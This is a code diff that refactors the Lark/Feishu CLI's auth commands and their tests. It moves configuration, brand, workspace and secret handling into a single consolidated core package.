View File

@@ -9,10 +9,9 @@ import (
"testing"
"time"
"github.com/larksuite/cli/brand"
larkauth "github.com/larksuite/cli/internal/auth"
"github.com/larksuite/cli/internal/cmdutil"
configpkg "github.com/larksuite/cli/internal/config"
"github.com/larksuite/cli/internal/core"
"github.com/larksuite/cli/internal/output"
"github.com/zalando/go-keyring"
)
@@ -24,8 +23,8 @@ import (
// branch. These tests pin that contract end-to-end through the dispatcher.
func TestAuthCheckRun_NotLoggedIn_ExitOneWithStdoutOnly(t *testing.T) {
f, stdout, stderr, _ := cmdutil.TestFactory(t, &configpkg.CliConfig{
AppID: "test-app", AppSecret: "test-secret", Brand: brand.Feishu,
f, stdout, stderr, _ := cmdutil.TestFactory(t, &core.CliConfig{
AppID: "test-app", AppSecret: "test-secret", Brand: core.BrandFeishu,
// UserOpenId left empty: triggers the not_logged_in branch.
})
@@ -56,8 +55,8 @@ func TestAuthCheckRun_NotLoggedIn_ExitOneWithStdoutOnly(t *testing.T) {
}
func TestAuthCheckRun_NoStoredToken_ExitOneWithStdoutOnly(t *testing.T) {
f, stdout, stderr, _ := cmdutil.TestFactory(t, &configpkg.CliConfig{
AppID: "test-app", AppSecret: "test-secret", Brand: brand.Feishu,
f, stdout, stderr, _ := cmdutil.TestFactory(t, &core.CliConfig{
AppID: "test-app", AppSecret: "test-secret", Brand: core.BrandFeishu,
UserOpenId: "ou_user", UserName: "tester",
})
@@ -93,10 +92,10 @@ func TestAuthCheckRun_ScopedTokenPresent_ExitZero(t *testing.T) {
t.Setenv("HOME", t.TempDir())
t.Setenv("LARKSUITE_CLI_DATA_DIR", t.TempDir())
cfg := &configpkg.CliConfig{
cfg := &core.CliConfig{
AppID: "test-app",
AppSecret: "test-secret",
Brand: brand.Feishu,
Brand: core.BrandFeishu,
UserOpenId: "ou_user",
UserName: "tester",
}
@@ -151,8 +150,8 @@ func TestAuthCheckRun_EmptyScopeIsValidationError(t *testing.T) {
// Scope validation is a real input error, not a predicate negative
// answer — it must surface as a typed ValidationError with the normal
// stderr envelope, distinct from the silent ErrBare predicate path.
f, _, _, _ := cmdutil.TestFactory(t, &configpkg.CliConfig{
AppID: "test-app", AppSecret: "test-secret", Brand: brand.Feishu,
f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{
AppID: "test-app", AppSecret: "test-secret", Brand: core.BrandFeishu,
})
err := authCheckRun(&CheckOptions{Factory: f, Scope: " "})

View File

@@ -12,7 +12,7 @@ import (
"github.com/larksuite/cli/errs"
larkauth "github.com/larksuite/cli/internal/auth"
"github.com/larksuite/cli/internal/cmdutil"
configpkg "github.com/larksuite/cli/internal/config"
"github.com/larksuite/cli/internal/core"
"github.com/larksuite/cli/internal/output"
)
@@ -45,7 +45,7 @@ func NewCmdAuthList(f *cmdutil.Factory, runF func(*ListOptions) error) *cobra.Co
func authListRun(opts *ListOptions) error {
f := opts.Factory
multi, _ := configpkg.LoadMultiAppConfig()
multi, _ := core.LoadMultiAppConfig()
if multi == nil || len(multi.Apps) == 0 {
if opts.JSON {
output.PrintJson(f.IOStreams.Out, map[string]interface{}{
@@ -61,7 +61,7 @@ func authListRun(opts *ListOptions) error {
// workspace-aware, so we pull the message+hint out of
// NotConfiguredError() instead of hard-coding it.
var cfgErr *errs.ConfigError
if errors.As(configpkg.NotConfiguredError(), &cfgErr) {
if errors.As(core.NotConfiguredError(), &cfgErr) {
fmt.Fprintln(f.IOStreams.ErrOut, cfgErr.Message)
if cfgErr.Hint != "" {
fmt.Fprintln(f.IOStreams.ErrOut, " hint: "+cfgErr.Hint)

View File

@@ -9,7 +9,7 @@ import (
"testing"
"github.com/larksuite/cli/internal/cmdutil"
"github.com/larksuite/cli/internal/workspace"
"github.com/larksuite/cli/internal/core"
)
// TestAuthListRun_NotConfigured_ReturnsExitZero pins the contract that
@@ -69,9 +69,9 @@ func TestAuthListRun_JSONMode_NotConfigured_WritesStdoutOnly(t *testing.T) {
func TestAuthListRun_NotConfigured_AgentWorkspace_RoutesToBindHelp(t *testing.T) {
t.Setenv("LARKSUITE_CLI_CONFIG_DIR", t.TempDir())
prev := workspace.CurrentWorkspace()
t.Cleanup(func() { workspace.SetCurrentWorkspace(prev) })
workspace.SetCurrentWorkspace(workspace.WorkspaceOpenClaw)
prev := core.CurrentWorkspace()
t.Cleanup(func() { core.SetCurrentWorkspace(prev) })
core.SetCurrentWorkspace(core.WorkspaceOpenClaw)
f, _, stderr, _ := cmdutil.TestFactory(t, nil)
if err := authListRun(&ListOptions{Factory: f}); err != nil {

View File

@@ -13,14 +13,12 @@ import (
"github.com/spf13/cobra"
brandpkg "github.com/larksuite/cli/brand"
"github.com/larksuite/cli/errs"
larkauth "github.com/larksuite/cli/internal/auth"
"github.com/larksuite/cli/internal/cmdutil"
configpkg "github.com/larksuite/cli/internal/config"
"github.com/larksuite/cli/internal/core"
"github.com/larksuite/cli/internal/i18n"
"github.com/larksuite/cli/internal/identity"
"github.com/larksuite/cli/internal/output"
"github.com/larksuite/cli/internal/registry"
"github.com/larksuite/cli/shortcuts"
@@ -57,7 +55,7 @@ send the verification URL (or QR code) to the user as your final message, end th
run --device-code in a later step after the user confirms authorization. Use 'lark-cli auth qrcode'
to generate QR codes (supports ASCII and PNG formats).`,
RunE: func(cmd *cobra.Command, args []string) error {
if mode := f.ResolveStrictMode(cmd.Context()); mode == identity.StrictModeBot {
if mode := f.ResolveStrictMode(cmd.Context()); mode == core.StrictModeBot {
return errs.NewValidationError(errs.SubtypeInvalidArgument,
"strict mode is %q, user login is disabled in this profile", mode).
WithHint("if the user explicitly wants to switch to user identity, see `lark-cli config strict-mode --help` (confirm with the user before switching; switching does NOT require re-bind)")
@@ -74,7 +72,7 @@ to generate QR codes (supports ASCII and PNG formats).`,
cmd.Flags().StringVar(&opts.Scope, "scope", "", "scopes to request (space- or comma-separated). Combines additively with --domain/--recommend")
cmd.Flags().BoolVar(&opts.Recommend, "recommend", false, "request only recommended (auto-approve) scopes")
var helpBrand brandpkg.Brand
var helpBrand core.LarkBrand
if f != nil && f.Config != nil {
if cfg, err := f.Config(); err == nil && cfg != nil {
helpBrand = cfg.Brand
@@ -127,7 +125,7 @@ func authLoginRun(opts *LoginOptions) error {
// Determine UI language from saved config
var lang i18n.Lang
if multi, _ := configpkg.LoadMultiAppConfig(); multi != nil {
if multi, _ := core.LoadMultiAppConfig(); multi != nil {
if app := multi.FindApp(config.ProfileName); app != nil {
lang = app.Lang
}
@@ -393,7 +391,7 @@ func authLoginRun(opts *LoginOptions) error {
// authLoginPollDeviceCode resumes the device flow by polling with a device code
// obtained from a previous --no-wait call.
func authLoginPollDeviceCode(opts *LoginOptions, config *configpkg.CliConfig, msg *loginMsg, log func(string, ...interface{})) error {
func authLoginPollDeviceCode(opts *LoginOptions, config *core.CliConfig, msg *loginMsg, log func(string, ...interface{})) error {
f := opts.Factory
httpClient, err := f.HttpClient()
@@ -476,7 +474,7 @@ func authLoginPollDeviceCode(opts *LoginOptions, config *configpkg.CliConfig, ms
// syncLoginUserToProfile persists the logged-in user info into the named profile.
func syncLoginUserToProfile(profileName, appID, openID, userName string) error {
multi, err := configpkg.LoadMultiAppConfig()
multi, err := core.LoadMultiAppConfig()
if err != nil {
return errs.NewInternalError(errs.SubtypeStorage, "load config: %v", err).WithCause(err)
}
@@ -486,9 +484,9 @@ func syncLoginUserToProfile(profileName, appID, openID, userName string) error {
return errs.NewConfigError(errs.SubtypeNotConfigured, "profile %q not found in config", profileName)
}
oldUsers := append([]configpkg.AppUser(nil), app.Users...)
app.Users = []configpkg.AppUser{{UserOpenId: openID, UserName: userName}}
if err := configpkg.SaveMultiAppConfig(multi); err != nil {
oldUsers := append([]core.AppUser(nil), app.Users...)
app.Users = []core.AppUser{{UserOpenId: openID, UserName: userName}}
if err := core.SaveMultiAppConfig(multi); err != nil {
return errs.NewInternalError(errs.SubtypeStorage, "save config: %v", err).WithCause(err)
}
@@ -501,7 +499,7 @@ func syncLoginUserToProfile(profileName, appID, openID, userName string) error {
}
// findProfileByName returns the AppConfig matching profileName, or nil.
func findProfileByName(multi *configpkg.MultiAppConfig, profileName string) *configpkg.AppConfig {
func findProfileByName(multi *core.MultiAppConfig, profileName string) *core.AppConfig {
for i := range multi.Apps {
if multi.Apps[i].ProfileName() == profileName {
return &multi.Apps[i]
@@ -514,7 +512,7 @@ func findProfileByName(multi *configpkg.MultiAppConfig, profileName string) *con
// shortcut scopes for the given domain names.
// Domains with auth_domain children are automatically expanded to include
// their children's scopes.
func collectScopesForDomains(domains []string, identity string, brand brandpkg.Brand) []string {
func collectScopesForDomains(domains []string, identity string, brand core.LarkBrand) []string {
scopeSet := make(map[string]bool)
// 1. API scopes from from_meta projects
@@ -555,7 +553,7 @@ func collectScopesForDomains(domains []string, identity string, brand brandpkg.B
// allKnownDomains returns all valid auth domain names (from_meta projects +
// shortcut services), excluding domains that have auth_domain set (they are
// folded into their parent domain).
func allKnownDomains(brand brandpkg.Brand) map[string]bool {
func allKnownDomains(brand core.LarkBrand) map[string]bool {
domains := make(map[string]bool)
for _, p := range registry.ListFromMetaProjects() {
if !registry.HasAuthDomain(p) {
@@ -574,7 +572,7 @@ func allKnownDomains(brand brandpkg.Brand) map[string]bool {
}
// sortedKnownDomains returns all valid domain names sorted alphabetically.
func sortedKnownDomains(brand brandpkg.Brand) []string {
func sortedKnownDomains(brand core.LarkBrand) []string {
m := allKnownDomains(brand)
domains := make([]string, 0, len(m))
for d := range m {

View File

@@ -6,26 +6,26 @@ package auth
import (
"testing"
"github.com/larksuite/cli/brand"
"github.com/larksuite/cli/internal/core"
)
func TestBrandFilter_AppsExcludedOnLark(t *testing.T) {
feishuDomains := allKnownDomains(brand.Feishu)
feishuDomains := allKnownDomains(core.BrandFeishu)
if !feishuDomains["apps"] {
t.Errorf("expected apps domain to be known on Feishu brand")
}
larkDomains := allKnownDomains(brand.Lark)
larkDomains := allKnownDomains(core.BrandLark)
if larkDomains["apps"] {
t.Errorf("expected apps domain to be EXCLUDED on Lark brand")
}
feishuScopes := collectScopesForDomains([]string{"apps"}, "user", brand.Feishu)
feishuScopes := collectScopesForDomains([]string{"apps"}, "user", core.BrandFeishu)
if len(feishuScopes) == 0 {
t.Errorf("expected non-empty scopes for apps on Feishu brand, got %d", len(feishuScopes))
}
larkScopes := collectScopesForDomains([]string{"apps"}, "user", brand.Lark)
larkScopes := collectScopesForDomains([]string{"apps"}, "user", core.BrandLark)
if len(larkScopes) != 0 {
t.Errorf("expected empty scopes for apps on Lark brand, got %d: %v", len(larkScopes), larkScopes)
}

View File

@@ -7,7 +7,7 @@ import (
"strings"
"testing"
configpkg "github.com/larksuite/cli/internal/config"
"github.com/larksuite/cli/internal/core"
)
func setupLoginConfigDir(t *testing.T) {
@@ -17,22 +17,22 @@ func setupLoginConfigDir(t *testing.T) {
func TestSyncLoginUserToProfile_UpdatesOnlyTargetProfile(t *testing.T) {
setupLoginConfigDir(t)
multi := &configpkg.MultiAppConfig{
multi := &core.MultiAppConfig{
CurrentApp: "target",
Apps: []configpkg.AppConfig{
Apps: []core.AppConfig{
{
Name: "target",
AppId: "app-target",
Users: []configpkg.AppUser{{UserOpenId: "ou_old", UserName: "old"}},
Users: []core.AppUser{{UserOpenId: "ou_old", UserName: "old"}},
},
{
Name: "other",
AppId: "app-other",
Users: []configpkg.AppUser{{UserOpenId: "ou_other", UserName: "other"}},
Users: []core.AppUser{{UserOpenId: "ou_other", UserName: "other"}},
},
},
}
if err := configpkg.SaveMultiAppConfig(multi); err != nil {
if err := core.SaveMultiAppConfig(multi); err != nil {
t.Fatalf("SaveMultiAppConfig() error = %v", err)
}
@@ -40,7 +40,7 @@ func TestSyncLoginUserToProfile_UpdatesOnlyTargetProfile(t *testing.T) {
t.Fatalf("syncLoginUserToProfile() error = %v", err)
}
saved, err := configpkg.LoadMultiAppConfig()
saved, err := core.LoadMultiAppConfig()
if err != nil {
t.Fatalf("LoadMultiAppConfig() error = %v", err)
}
@@ -54,13 +54,13 @@ func TestSyncLoginUserToProfile_UpdatesOnlyTargetProfile(t *testing.T) {
func TestSyncLoginUserToProfile_ProfileNotFoundReturnsError(t *testing.T) {
setupLoginConfigDir(t)
multi := &configpkg.MultiAppConfig{
Apps: []configpkg.AppConfig{{
multi := &core.MultiAppConfig{
Apps: []core.AppConfig{{
Name: "default",
AppId: "app-default",
}},
}
if err := configpkg.SaveMultiAppConfig(multi); err != nil {
if err := core.SaveMultiAppConfig(multi); err != nil {
t.Fatalf("SaveMultiAppConfig() error = %v", err)
}

View File

@@ -10,9 +10,9 @@ import (
"github.com/charmbracelet/huh"
brandpkg "github.com/larksuite/cli/brand"
"github.com/larksuite/cli/errs"
"github.com/larksuite/cli/internal/cmdutil"
"github.com/larksuite/cli/internal/core"
"github.com/larksuite/cli/internal/output"
"github.com/larksuite/cli/internal/registry"
"github.com/larksuite/cli/shortcuts"
@@ -102,7 +102,7 @@ func buildDomainMeta(name, lang string) domainMeta {
}
// runInteractiveLogin shows an interactive TUI form for domain and permission selection.
func runInteractiveLogin(ios *cmdutil.IOStreams, lang string, msg *loginMsg, brand brandpkg.Brand) (*interactiveResult, error) {
func runInteractiveLogin(ios *cmdutil.IOStreams, lang string, msg *loginMsg, brand core.LarkBrand) (*interactiveResult, error) {
allDomains := getDomainMetadata(lang)
// Build multi-select options

View File

@@ -128,5 +128,5 @@ func getLoginMsg(lang i18n.Lang) *loginMsg {
// (not backed by from_meta service specs). Descriptions are now centralized in
// service_descriptions.json.
func getShortcutOnlyDomainNames() []string {
return []string{"application", "base", "contact", "docs", "markdown", "apps", "note"}
return []string{"base", "contact", "docs", "markdown", "apps", "note"}
}

View File

@@ -11,9 +11,9 @@ import (
"regexp"
larkauth "github.com/larksuite/cli/internal/auth"
"github.com/larksuite/cli/internal/core"
"github.com/larksuite/cli/internal/validate"
"github.com/larksuite/cli/internal/vfs"
"github.com/larksuite/cli/internal/workspace"
)
var loginScopeCacheSafeChars = regexp.MustCompile(`[^a-zA-Z0-9._-]`)
@@ -25,7 +25,7 @@ type loginScopeCacheRecord struct {
// loginScopeCacheDir returns the directory used to persist auth login --no-wait
// requested scopes keyed by device_code.
func loginScopeCacheDir() string {
return filepath.Join(workspace.GetConfigDir(), "cache", "auth_login_scopes")
return filepath.Join(core.GetConfigDir(), "cache", "auth_login_scopes")
}
// loginScopeCachePath returns the cache file path for a given device_code.

View File

@@ -9,11 +9,11 @@ import (
extcred "github.com/larksuite/cli/extension/credential"
"github.com/larksuite/cli/internal/cmdutil"
configpkg "github.com/larksuite/cli/internal/config"
"github.com/larksuite/cli/internal/core"
)
func TestAuthLogin_StrictModeBot_Blocked(t *testing.T) {
cfg := &configpkg.CliConfig{
cfg := &core.CliConfig{
AppID: "a", AppSecret: "s",
SupportedIdentities: uint8(extcred.SupportsBot),
}
@@ -39,7 +39,7 @@ func TestAuthLogin_StrictModeBot_Blocked(t *testing.T) {
}
func TestAuthLogin_StrictModeUser_Allowed(t *testing.T) {
cfg := &configpkg.CliConfig{
cfg := &core.CliConfig{
AppID: "a", AppSecret: "s",
SupportedIdentities: uint8(extcred.SupportsUser),
}
@@ -62,7 +62,7 @@ func TestAuthLogin_StrictModeUser_Allowed(t *testing.T) {
}
func TestAuthLogin_StrictModeOff_Allowed(t *testing.T) {
f, _, _, _ := cmdutil.TestFactory(t, &configpkg.CliConfig{AppID: "a", AppSecret: "s"})
f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{AppID: "a", AppSecret: "s"})
var called bool
cmd := NewCmdAuthLogin(f, func(opts *LoginOptions) error {

View File

@@ -14,10 +14,9 @@ import (
"strings"
"testing"
brandpkg "github.com/larksuite/cli/brand"
larkauth "github.com/larksuite/cli/internal/auth"
"github.com/larksuite/cli/internal/cmdutil"
configpkg "github.com/larksuite/cli/internal/config"
"github.com/larksuite/cli/internal/core"
"github.com/larksuite/cli/internal/httpmock"
"github.com/larksuite/cli/internal/output"
"github.com/larksuite/cli/internal/registry"
@@ -309,8 +308,8 @@ func TestGetDomainMetadata_HasTitleAndDescription(t *testing.T) {
}
func TestAuthLoginRun_NonTerminal_NoFlags_RejectsWithHint(t *testing.T) {
f, _, stderr, _ := cmdutil.TestFactory(t, &configpkg.CliConfig{
AppID: "cli_test", AppSecret: "secret", Brand: brandpkg.Feishu,
f, _, stderr, _ := cmdutil.TestFactory(t, &core.CliConfig{
AppID: "cli_test", AppSecret: "secret", Brand: core.BrandFeishu,
})
// TestFactory has IsTerminal=false by default
opts := &LoginOptions{Factory: f, Ctx: context.Background()}
@@ -601,21 +600,21 @@ func TestAuthLoginRun_MissingRequestedScopeAlignsWithLoginSuccess(t *testing.T)
setupLoginConfigDir(t)
t.Setenv("HOME", t.TempDir())
multi := &configpkg.MultiAppConfig{
multi := &core.MultiAppConfig{
CurrentApp: "default",
Apps: []configpkg.AppConfig{
Apps: []core.AppConfig{
{Name: "default", AppId: "cli_test"},
},
}
if err := configpkg.SaveMultiAppConfig(multi); err != nil {
if err := core.SaveMultiAppConfig(multi); err != nil {
t.Fatalf("SaveMultiAppConfig() error = %v", err)
}
f, _, stderr, reg := cmdutil.TestFactory(t, &configpkg.CliConfig{
f, _, stderr, reg := cmdutil.TestFactory(t, &core.CliConfig{
ProfileName: "default",
AppID: "cli_test",
AppSecret: "secret",
Brand: brandpkg.Feishu,
Brand: core.BrandFeishu,
})
reg.Register(&httpmock.Stub{
@@ -697,7 +696,7 @@ func TestAuthLoginRun_MissingRequestedScopeAlignsWithLoginSuccess(t *testing.T)
if stored.Scope != "offline_access" {
t.Fatalf("stored scope = %q", stored.Scope)
}
cfg, err := configpkg.LoadMultiAppConfig()
cfg, err := core.LoadMultiAppConfig()
if err != nil {
t.Fatalf("LoadMultiAppConfig() error = %v", err)
}
@@ -717,21 +716,21 @@ func TestAuthLoginRun_DeviceCodeUsesCachedRequestedScopes(t *testing.T) {
setupLoginConfigDir(t)
t.Setenv("HOME", t.TempDir())
multi := &configpkg.MultiAppConfig{
multi := &core.MultiAppConfig{
CurrentApp: "default",
Apps: []configpkg.AppConfig{
Apps: []core.AppConfig{
{Name: "default", AppId: "cli_test"},
},
}
if err := configpkg.SaveMultiAppConfig(multi); err != nil {
if err := core.SaveMultiAppConfig(multi); err != nil {
t.Fatalf("SaveMultiAppConfig() error = %v", err)
}
f, stdout, stderr, reg := cmdutil.TestFactory(t, &configpkg.CliConfig{
f, stdout, stderr, reg := cmdutil.TestFactory(t, &core.CliConfig{
ProfileName: "default",
AppID: "cli_test",
AppSecret: "secret",
Brand: brandpkg.Feishu,
Brand: core.BrandFeishu,
})
reg.Register(&httpmock.Stub{
@@ -848,15 +847,15 @@ func TestAuthLoginRun_DeviceCodeTokenNilCleansScopeCache(t *testing.T) {
original := pollDeviceToken
t.Cleanup(func() { pollDeviceToken = original })
pollDeviceToken = func(ctx context.Context, httpClient *http.Client, appId, appSecret string, brand brandpkg.Brand, deviceCode string, interval, expiresIn int, errOut io.Writer) *larkauth.DeviceFlowResult {
pollDeviceToken = func(ctx context.Context, httpClient *http.Client, appId, appSecret string, brand core.LarkBrand, deviceCode string, interval, expiresIn int, errOut io.Writer) *larkauth.DeviceFlowResult {
return &larkauth.DeviceFlowResult{OK: true, Token: nil}
}
f, _, _, _ := cmdutil.TestFactory(t, &configpkg.CliConfig{
f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{
ProfileName: "default",
AppID: "cli_test",
AppSecret: "secret",
Brand: brandpkg.Feishu,
Brand: core.BrandFeishu,
})
err := authLoginRun(&LoginOptions{
@@ -887,15 +886,15 @@ func TestAuthLoginRun_JSONAbort_StdoutEventOnly_StderrEmpty(t *testing.T) {
original := pollDeviceToken
t.Cleanup(func() { pollDeviceToken = original })
pollDeviceToken = func(ctx context.Context, httpClient *http.Client, appId, appSecret string, brand brandpkg.Brand, deviceCode string, interval, expiresIn int, errOut io.Writer) *larkauth.DeviceFlowResult {
pollDeviceToken = func(ctx context.Context, httpClient *http.Client, appId, appSecret string, brand core.LarkBrand, deviceCode string, interval, expiresIn int, errOut io.Writer) *larkauth.DeviceFlowResult {
return &larkauth.DeviceFlowResult{OK: false, Message: "user denied"}
}
f, stdout, stderr, reg := cmdutil.TestFactory(t, &configpkg.CliConfig{
f, stdout, stderr, reg := cmdutil.TestFactory(t, &core.CliConfig{
ProfileName: "default",
AppID: "cli_test",
AppSecret: "secret",
Brand: brandpkg.Feishu,
Brand: core.BrandFeishu,
})
reg.Register(&httpmock.Stub{
@@ -957,11 +956,11 @@ func TestAuthLoginRun_JSONAbort_StdoutEventOnly_StderrEmpty(t *testing.T) {
}
func TestAuthLoginRun_JSONWriteFailure_NoWaitReturnsWriterError(t *testing.T) {
f, _, _, reg := cmdutil.TestFactory(t, &configpkg.CliConfig{
f, _, _, reg := cmdutil.TestFactory(t, &core.CliConfig{
ProfileName: "default",
AppID: "cli_test",
AppSecret: "secret",
Brand: brandpkg.Feishu,
Brand: core.BrandFeishu,
})
f.IOStreams.Out = failWriter{}
@@ -994,11 +993,11 @@ func TestAuthLoginRun_JSONWriteFailure_NoWaitReturnsWriterError(t *testing.T) {
}
func TestAuthLoginRun_NoWaitJSONHintIncludesRawURLGuidance(t *testing.T) {
f, stdout, _, reg := cmdutil.TestFactory(t, &configpkg.CliConfig{
f, stdout, _, reg := cmdutil.TestFactory(t, &core.CliConfig{
ProfileName: "default",
AppID: "cli_test",
AppSecret: "secret",
Brand: brandpkg.Feishu,
Brand: core.BrandFeishu,
})
reg.Register(&httpmock.Stub{
@@ -1068,11 +1067,11 @@ func TestAuthLoginRun_NoWaitJSONHintIncludesRawURLGuidance(t *testing.T) {
}
func TestAuthLoginRun_JSONWriteFailure_DeviceAuthorizationReturnsWriterError(t *testing.T) {
f, _, _, reg := cmdutil.TestFactory(t, &configpkg.CliConfig{
f, _, _, reg := cmdutil.TestFactory(t, &core.CliConfig{
ProfileName: "default",
AppID: "cli_test",
AppSecret: "secret",
Brand: brandpkg.Feishu,
Brand: core.BrandFeishu,
})
f.IOStreams.Out = failWriter{}
@@ -1106,11 +1105,11 @@ func TestAuthLoginRun_JSONWriteFailure_DeviceAuthorizationReturnsWriterError(t *
}
func TestAuthLoginRun_JSONDeviceAuthorizationAgentHintIncludesRawURLGuidance(t *testing.T) {
f, stdout, _, reg := cmdutil.TestFactory(t, &configpkg.CliConfig{
f, stdout, _, reg := cmdutil.TestFactory(t, &core.CliConfig{
ProfileName: "default",
AppID: "cli_test",
AppSecret: "secret",
Brand: brandpkg.Feishu,
Brand: core.BrandFeishu,
})
reg.Register(&httpmock.Stub{

View File

@@ -11,9 +11,8 @@ import (
"github.com/larksuite/cli/errs"
larkauth "github.com/larksuite/cli/internal/auth"
"github.com/larksuite/cli/internal/cmdutil"
configpkg "github.com/larksuite/cli/internal/config"
"github.com/larksuite/cli/internal/core"
"github.com/larksuite/cli/internal/output"
"github.com/larksuite/cli/internal/secret"
)
// LogoutOptions holds all inputs for auth logout.
@@ -45,7 +44,7 @@ func NewCmdAuthLogout(f *cmdutil.Factory, runF func(*LogoutOptions) error) *cobr
func authLogoutRun(opts *LogoutOptions) error {
f := opts.Factory
multi, _ := configpkg.LoadMultiAppConfig()
multi, _ := core.LoadMultiAppConfig()
if multi == nil || len(multi.Apps) == 0 {
if opts.JSON {
output.PrintJson(f.IOStreams.Out, map[string]interface{}{
@@ -74,7 +73,7 @@ func authLogoutRun(opts *LogoutOptions) error {
}
httpClient, httpErr := f.HttpClient()
appSecret, secretErr := secret.ResolveSecretInput(app.AppSecret, f.Keychain)
appSecret, secretErr := core.ResolveSecretInput(app.AppSecret, f.Keychain)
for _, user := range app.Users {
if httpErr == nil && secretErr == nil {
@@ -95,8 +94,8 @@ func authLogoutRun(opts *LogoutOptions) error {
}
}
app.Users = []configpkg.AppUser{}
if err := configpkg.SaveMultiAppConfig(multi); err != nil {
app.Users = []core.AppUser{}
if err := core.SaveMultiAppConfig(multi); err != nil {
return errs.NewInternalError(errs.SubtypeStorage, "failed to save config: %v", err).WithCause(err)
}
if opts.JSON {

View File

@@ -9,24 +9,22 @@ import (
"strings"
"testing"
"github.com/larksuite/cli/brand"
larkauth "github.com/larksuite/cli/internal/auth"
"github.com/larksuite/cli/internal/cmdutil"
configpkg "github.com/larksuite/cli/internal/config"
"github.com/larksuite/cli/internal/core"
"github.com/larksuite/cli/internal/httpmock"
"github.com/larksuite/cli/internal/secret"
"github.com/zalando/go-keyring"
)
func writeLogoutConfig(t *testing.T, users []configpkg.AppUser) {
func writeLogoutConfig(t *testing.T, users []core.AppUser) {
t.Helper()
if err := configpkg.SaveMultiAppConfig(&configpkg.MultiAppConfig{
if err := core.SaveMultiAppConfig(&core.MultiAppConfig{
CurrentApp: "test-app",
Apps: []configpkg.AppConfig{
Apps: []core.AppConfig{
{
AppId: "test-app",
AppSecret: secret.PlainSecret("test-secret"),
Brand: brand.Feishu,
AppSecret: core.PlainSecret("test-secret"),
Brand: core.BrandFeishu,
Users: users,
},
},
@@ -93,7 +91,7 @@ func TestAuthLogoutRun_JSONMode_Success_WritesStdoutOnly(t *testing.T) {
t.Setenv("HOME", t.TempDir())
t.Setenv("LARKSUITE_CLI_DATA_DIR", t.TempDir())
t.Setenv("LARKSUITE_CLI_CONFIG_DIR", t.TempDir())
writeLogoutConfig(t, []configpkg.AppUser{{UserOpenId: "ou_user", UserName: "tester"}})
writeLogoutConfig(t, []core.AppUser{{UserOpenId: "ou_user", UserName: "tester"}})
if err := larkauth.SetStoredToken(&larkauth.StoredUAToken{
AppId: "test-app",
UserOpenId: "ou_user",
@@ -129,7 +127,7 @@ func TestAuthLogoutRun_DefaultMode_KeepsTextOutput(t *testing.T) {
t.Setenv("HOME", t.TempDir())
t.Setenv("LARKSUITE_CLI_DATA_DIR", t.TempDir())
t.Setenv("LARKSUITE_CLI_CONFIG_DIR", t.TempDir())
writeLogoutConfig(t, []configpkg.AppUser{{UserOpenId: "ou_user", UserName: "tester"}})
writeLogoutConfig(t, []core.AppUser{{UserOpenId: "ou_user", UserName: "tester"}})
if err := larkauth.SetStoredToken(&larkauth.StoredUAToken{
AppId: "test-app",
UserOpenId: "ou_user",
@@ -155,19 +153,19 @@ func TestAuthLogoutRun_RevokesTokenAndClearsLocalState(t *testing.T) {
setupLoginConfigDir(t)
t.Setenv("HOME", t.TempDir())
multi := &configpkg.MultiAppConfig{
multi := &core.MultiAppConfig{
CurrentApp: "default",
Apps: []configpkg.AppConfig{
Apps: []core.AppConfig{
{
Name: "default",
AppId: "cli_test",
AppSecret: secret.PlainSecret("secret"),
Brand: brand.Feishu,
Users: []configpkg.AppUser{{UserOpenId: "ou_user", UserName: "tester"}},
AppSecret: core.PlainSecret("secret"),
Brand: core.BrandFeishu,
Users: []core.AppUser{{UserOpenId: "ou_user", UserName: "tester"}},
},
},
}
if err := configpkg.SaveMultiAppConfig(multi); err != nil {
if err := core.SaveMultiAppConfig(multi); err != nil {
t.Fatalf("SaveMultiAppConfig() error = %v", err)
}
if err := larkauth.SetStoredToken(&larkauth.StoredUAToken{
@@ -179,11 +177,11 @@ func TestAuthLogoutRun_RevokesTokenAndClearsLocalState(t *testing.T) {
t.Fatalf("SetStoredToken() error = %v", err)
}
f, _, stderr, reg := cmdutil.TestFactory(t, &configpkg.CliConfig{
f, _, stderr, reg := cmdutil.TestFactory(t, &core.CliConfig{
ProfileName: "default",
AppID: "cli_test",
AppSecret: "secret",
Brand: brand.Feishu,
Brand: core.BrandFeishu,
})
reg.Register(&httpmock.Stub{
@@ -212,7 +210,7 @@ func TestAuthLogoutRun_RevokesTokenAndClearsLocalState(t *testing.T) {
if got := larkauth.GetStoredToken("cli_test", "ou_user"); got != nil {
t.Fatalf("expected stored token removed, got %#v", got)
}
saved, err := configpkg.LoadMultiAppConfig()
saved, err := core.LoadMultiAppConfig()
if err != nil {
t.Fatalf("LoadMultiAppConfig() error = %v", err)
}
@@ -226,19 +224,19 @@ func TestAuthLogoutRun_FallsBackToAccessTokenWhenRefreshTokenMissing(t *testing.
setupLoginConfigDir(t)
t.Setenv("HOME", t.TempDir())
multi := &configpkg.MultiAppConfig{
multi := &core.MultiAppConfig{
CurrentApp: "default",
Apps: []configpkg.AppConfig{
Apps: []core.AppConfig{
{
Name: "default",
AppId: "cli_test",
AppSecret: secret.PlainSecret("secret"),
Brand: brand.Feishu,
Users: []configpkg.AppUser{{UserOpenId: "ou_user", UserName: "tester"}},
AppSecret: core.PlainSecret("secret"),
Brand: core.BrandFeishu,
Users: []core.AppUser{{UserOpenId: "ou_user", UserName: "tester"}},
},
},
}
if err := configpkg.SaveMultiAppConfig(multi); err != nil {
if err := core.SaveMultiAppConfig(multi); err != nil {
t.Fatalf("SaveMultiAppConfig() error = %v", err)
}
if err := larkauth.SetStoredToken(&larkauth.StoredUAToken{
@@ -249,11 +247,11 @@ func TestAuthLogoutRun_FallsBackToAccessTokenWhenRefreshTokenMissing(t *testing.
t.Fatalf("SetStoredToken() error = %v", err)
}
f, _, stderr, reg := cmdutil.TestFactory(t, &configpkg.CliConfig{
f, _, stderr, reg := cmdutil.TestFactory(t, &core.CliConfig{
ProfileName: "default",
AppID: "cli_test",
AppSecret: "secret",
Brand: brand.Feishu,
Brand: core.BrandFeishu,
})
reg.Register(&httpmock.Stub{
@@ -282,7 +280,7 @@ func TestAuthLogoutRun_FallsBackToAccessTokenWhenRefreshTokenMissing(t *testing.
if got := larkauth.GetStoredToken("cli_test", "ou_user"); got != nil {
t.Fatalf("expected stored token removed, got %#v", got)
}
saved, err := configpkg.LoadMultiAppConfig()
saved, err := core.LoadMultiAppConfig()
if err != nil {
t.Fatalf("LoadMultiAppConfig() error = %v", err)
}
